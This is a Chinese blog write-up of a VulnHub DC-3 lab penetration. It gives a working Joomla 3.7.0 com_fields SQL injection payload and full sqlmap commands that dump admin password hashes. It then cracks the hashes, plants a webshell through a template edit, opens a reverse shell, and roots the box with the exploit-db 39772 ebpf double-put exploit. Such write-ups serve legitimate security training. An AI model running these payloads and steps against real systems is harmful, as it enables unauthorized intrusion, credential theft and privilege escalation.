vulnhub-DC-3靶机渗透记录

准备

kail攻击机IP:192.168.178.154
dc-3 IP:未知

信息收集

一如既往扫

nmap -sS 192.168.178.153/24

在这里插入图片描述
锁定目标IP,看看是否还有其他的开放端口

nmap -sV -p- 192.168.178.153

在这里插入图片描述
只开放了80端口,访问看看
在这里插入图片描述
给的提示说只有一个入口点和提权为root用户取决于系统(暗示很明显啦)
下面就是想办法得到账户密码登录后台管理界面
用wappalyzer可以看到相关的管理系统,服务器,操作系统等信息
在这里插入图片描述

joomla 漏洞利用

知道是joomla cms后,那我们就可以使用joomscan扫描工具扫描Joomla相关配置内容、已知漏洞等

joomscan --url http://192.168.178.154

在这里插入图片描述
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞
在这里插入图片描述
发现有SQL注入漏洞,在网上找了个payload

http://192.168.178.154:80/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

在这里插入图片描述
都说用sqlmap是没有灵魂的,最后还是得丢到sqlmap里面跑哼哼(上面已经知道是盲注辽)
查看一下有啥数据库

sqlmap -u "http://192.168.178.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述
得到5个数据库,注入查询靶机当前使用的数据库
在这里插入图片描述
当前使用是joomladb数据库,注入查询当前数据库的表

sqlmap -u "http://192.168.178.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables  -p list[fullordering]

在这里插入图片描述
user表准没错,查看一下user表里面的内容

sqlmap -u "http://192.168.178.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns  -p list[fullordering]

在这里插入图片描述
得到user表有六列,那就是继续注入查询uername和password字段

sqlmap  -u "http://192.168.178.154/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump  -p list[fullordering]

在这里插入图片描述
得到了用户名和密码hash值
或者是使用 joomblah.py 脚本(python2):(第一次实操还是可以的,后面的不行辽,还是用SQL注入实在)
在这里插入图片描述

下面就是将密码hash值保存到文档中,利用john来爆破hash值
得到密码snoopy
在这里插入图片描述
那么就得到

用户:admin
密码:snoopy

反弹shell

前面已经知道了是joomla cms ,那后台管理登录界面直接一找就是http://192.168.178.154/administrator/
在这里插入图片描述
登陆后看看发现有编辑和上传文件等功能,这样就很好利用这个上传木马进行反弹shell了
(找啊找…)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用蚁剑来连接,路径是http://192.168.178.154/templates/beez3/html/1.php
连接完再上传个反弹shell(中途因为不可抗因素重启了一下kail,IP变155了)
在这里插入图片描述
在kail中开监听端口9999
在这里插入图片描述
切换shell外壳

python -c 'import pty; pty.spawn("/bin/bash")'

提权

之前提示过系统捏
那就使用searchsploit工具查看ubuntu 16.04操作系统已知的提权漏洞
在这里插入图片描述
查看漏洞介绍

cp /usr/share/exploitdb/exploits/linux/local/39772.txt  ubuntu-1604-shell.txt
cat ubuntu-1604-shell.txt

在这里插入图片描述
试了好多次都没有办法访问上,那么就只能是在蚁剑里将压缩包直接上传到/tmp目录下
在这里插入图片描述
再次反弹shell,查看
在这里插入图片描述
下面就是解压压缩包,利用里面的getshell脚本啦

unzip 39772 #解压39772.zip压缩包
cd 39772
tar -xvf exploit.tar #解压exploit提权脚本tar包
cd ebpf_mapfd_doubleput_exploit

编译代码

./compile.sh #执行脚本,编译文件

在这里插入图片描述
会出现warning,可以忽略
最后执行提权文件

./doubleput

找到/root文件下的the-flag.txt文件
在这里插入图片描述

参考文章:
https://blog.csdn.net/weixin_43870289/article/details/104125994
https://blog.csdn.net/weixin_43583637/article/details/101554815

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值